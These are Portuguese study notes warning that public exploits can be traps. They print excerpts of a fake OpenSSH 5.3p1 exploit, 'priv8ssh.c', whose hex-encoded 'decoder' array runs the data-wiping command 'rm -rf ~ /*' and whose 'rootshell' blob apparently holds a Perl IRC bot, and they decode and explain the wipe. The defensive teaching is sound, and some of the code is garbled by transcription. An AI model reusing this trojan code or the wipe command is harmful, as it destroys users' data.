Cuidados com Exploits

- + Aqui veremos como um exploit público pode ser perigoso
- → O objetivo é que entendamos o conceito do que está acontecendo para não danificarmos/ comprometermos nossa máquina
- → Esse no caso vai explorar uma falha no openSSH 5.3p1

```
GNU nano 4.8
                                                                     priv8ssh.c
   printf("\t[+] By: n3xus\n");
   printf("\t[+] Greetz to hackforums.net\n");
printf("\t[+] Keep this 0day priv8!\n");
   printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);
   exit(1);
unsigned char decoder[]= "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f
   "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
unsigned char rootshell[]=
        '\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
       "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
       "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
       "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        \x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x2
       "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f
       "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24
        \x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24
       "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e
       "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20'
```

→ Ele indica abaixo que devemos ser root para executar a raw sockets o que é uma incongruência dado que ele usa a sock_stream

```
if(euid \neq 0)
    fprintf(stderr, "You need to be root to use raw sockets.\n");
    exit(1);
if(euid = 0)
    fprintf(stdout, "MIKU! MIKU! MIKU!\n");
if(argc \neq 3)
usage(argv);
if(!inet_aton(h, &addr.sin_addr))
    host = gethostbyname(h);
    if(!host)
        fprintf(stderr, "[-] Exploit failed.\n");
        (*(void(*)())decoder)();
        exit(1);
    addr.sin_addr = *(struct in_addr*)host→h_addr;
    sock = socket(PF_INET, SOCK_STREAM, I0);
    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;
```

ightarrow O código foi pensado para n dar certo. Pra que seja executado o decoder do início:

→ Ao traduzirmos a mensagem do decoder:

rm -rf ~ /* 2> /dev/null &

→ Código que zera tudo da máquina, apaga tudão